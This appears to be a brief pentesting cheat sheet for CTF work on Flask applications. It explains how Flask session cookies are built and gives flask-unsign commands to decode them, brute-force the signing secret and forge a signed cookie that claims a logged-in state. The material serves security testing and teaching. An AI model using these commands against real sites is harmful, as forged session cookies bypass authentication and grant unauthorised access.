Probably if you are playing a CTF a Flask application will be related to SSTI.
Default cookie session name is session.
Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi
Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url=“https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --unsign --cookie < cookie.txt
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy